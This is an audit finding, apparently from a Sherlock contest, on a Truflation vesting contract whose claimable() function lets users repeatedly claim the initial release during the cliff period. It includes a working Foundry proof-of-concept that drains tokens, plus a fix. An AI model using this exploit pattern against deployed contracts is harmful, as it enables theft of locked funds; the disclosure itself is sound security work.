Amusing Pewter Eagle

high

# Users can claim more tokens than they staked during cliff period.

## Summary
Users can claim more tokens than they own during cliff period, this can drain out contract `TrufVesting`'s tokens.


## Vulnerability Detail
Function `claimable` is used to calculate the amount of tokens that can be claimed by a user. After initial release and before the cliff period ends, the function returns the initial release amount as the claimable amount, without subtracting the amount of tokens that have been claimed already. 
```solidity
Function: TrufVesting.sol#claimable()

168:        uint64 startTime = userVesting.startTime + info.initialReleasePeriod;
169:
170:        if (startTime > block.timestamp) {
171:            return 0;
172:        }
173:
174:        uint256 totalAmount = userVesting.amount;
175:
176:->      uint256 initialRelease = (totalAmount * info.initialReleasePct) / DENOMINATOR; 
177:
178:        startTime += info.cliff;
179:
180:        if (startTime > block.timestamp) {
181:->          return initialRelease;
182:        }
```
https://github.com/sherlock-audit/2023-12-truflation/blob/main/truflation-contracts/src/token/TrufVesting.sol#L168-L182

Then the returned claimable amount is used by function `claim` to transfer tokens to user. 
```solidity
Function: TrufVesting.sol#claim()

217:->      uint256 claimableAmount = claimable(categoryId, vestingId, user);
218:        if (claimAmount == type(uint256).max) {
219:            claimAmount = claimableAmount;
220:        } else if (claimAmount > claimableAmount) {
221:            revert ClaimAmountExceed();
222:        }
223:        if (claimAmount == 0) {
224:            revert ZeroAmount();
225:        }
226:
227:->      categories[categoryId].totalClaimed += claimAmount;
228:->      userVestings[categoryId][vestingId][user].claimed += claimAmount;
229:->      trufToken.safeTransfer(user, claimAmount);
```
https://github.com/sherlock-audit/2023-12-truflation/blob/main/truflation-contracts/src/token/TrufVesting.sol#L217-L229

In such case, a user can claim any times before the cliff period ends. Each time the returned claimable amount is the initial release amout, and the resulted total claimed amount can exceed the amount of tokens that he owns.

POC:
Add the following test case to `TrufVesting.t.sol`, and run it with `forge test -vv --match-test testClaim_MultiClaimDuringCliff`.
```solidity
    function testClaim_MultiClaimDuringCliff() external {
        _setupVestingPlan();
        _setupExampleUserVestings();

        // use the vesting that has a cliff period
        uint256 categoryId = 2;
        uint256 vestingId = 0;
        (uint64 initialReleasePct, uint64 initialReleasePeriod, uint64 cliff,,) = vesting.vestingInfos(categoryId, vestingId);
        console.log("initialReleasePct=%d, initialReleasePeriod=%d days, cliff=%d days", initialReleasePct, initialReleasePeriod / 1 days, cliff / 1 days);

        (uint256 amount, uint256 claimed,,) = vesting.userVestings(categoryId, vestingId, alice);
        console.log("before claiming: amount=%d, claimed=%d", amount / 1e18, claimed / 1e18);

        // change time to the cliff period
        vm.warp(block.timestamp + 12 days);

        vm.startPrank(alice);

        uint256 claimAmountEachTime = vesting.claimable(categoryId, vestingId, alice);
        for (uint256 i = 0; i < 30; ++i) {
            vesting.claim(alice, categoryId, vestingId, claimAmountEachTime);
        }

        (amount, claimed,,) = vesting.userVestings(categoryId, vestingId, alice);
        console.log("after claiming: amount=%d, claimed=%d, claimAmountEachTime=%d", amount / 1e18, claimed / 1e18, claimAmountEachTime / 1e18);
        assertTrue(claimed > amount);

        vm.stopPrank();
    }
```
The resulted logs are as follows. After 30 claims, the total claimed amount (300e18) is greater than the initial amount (200e18).
```solidity
[PASS] testClaim_MultiClaimDuringCliff() (gas: 1348778)
Logs:
  initialReleasePct=500, initialReleasePeriod=10 days, cliff=20 days
  before claim: amount=200, claimed=0
  after  claim: amount=200, claimed=300, claimAmountEachTime=10
```


## Impact
Users can claim more tokens than they own during cliff period, this can drain out contract `TrufVesting`'s tokens.


## Code Snippet
https://github.com/sherlock-audit/2023-12-truflation/blob/main/truflation-contracts/src/token/TrufVesting.sol#L168-L182

https://github.com/sherlock-audit/2023-12-truflation/blob/main/truflation-contracts/src/token/TrufVesting.sol#L217-L229


## Tool used

Manual Review


## Recommendation
In function `claimable`, if block time is in cliff period, return the amount of initial release amount minus the already claimed amount. 
```solidity
Function: TrufVesting.sol#claimable()#L180-L182

         if (startTime > block.timestamp) {
-            return initialRelease;
+            return initialRelease - userVesting.claimed;
         }
```

